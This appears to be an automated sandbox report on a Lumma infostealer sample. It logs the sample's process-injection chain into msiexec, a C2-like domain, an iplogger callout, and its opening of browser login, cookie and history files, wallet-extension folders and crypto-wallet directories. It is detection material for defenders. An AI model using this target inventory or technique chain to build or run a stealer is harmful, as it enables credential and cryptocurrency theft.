Source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashju1cyh0.cyou

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe

Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 749330			Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 28B0008			Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67DECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF7B67DECE0

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe "C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe"	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/15PRC4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67F8DF0 cpuid

3_2_00007FF7B67F8DF0

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

3_2_00007FF7B67DDE44

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2d2c1323 VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4e7a24a8 VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67E400C GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,SleepEx,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF7B67E400C

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67C6768 GetVersionExW,

3_2_00007FF7B67C6768

Source: 4kN17cL4Tn.exe, 00000003.00000003.1356702631.000002A595D38000.00000004.00000020.00020000.00000000.sdmp, 4kN17cL4Tn.exe, 00000003.00000002.1359045300.000002A595D38000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: APT.EXE

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 2500, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: msiexec.exe, 0000000E.00000003.1599056879.0000000002C9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/Electrum-LTC<V
Source: msiexec.exe, 0000000E.00000003.1599056879.0000000002C9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ets/ElectronCash_W%
Source: msiexec.exe, 0000000E.00000003.1599236654.0000000002C92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx LibertynFO
Source: msiexec.exe, 0000000E.00000003.1599236654.0000000002C92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 333.exe, 00000005.00000002.1317994676.00000000008C3000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: git.acronis.com/ati/grpm-mini/vendor/github.com/go-playground/validator.isEthereumAddress
Source: msiexec.exe, 0000000E.00000003.1599080465.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: msiexec.exe, 0000000E.00000003.1599236654.0000000002C92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
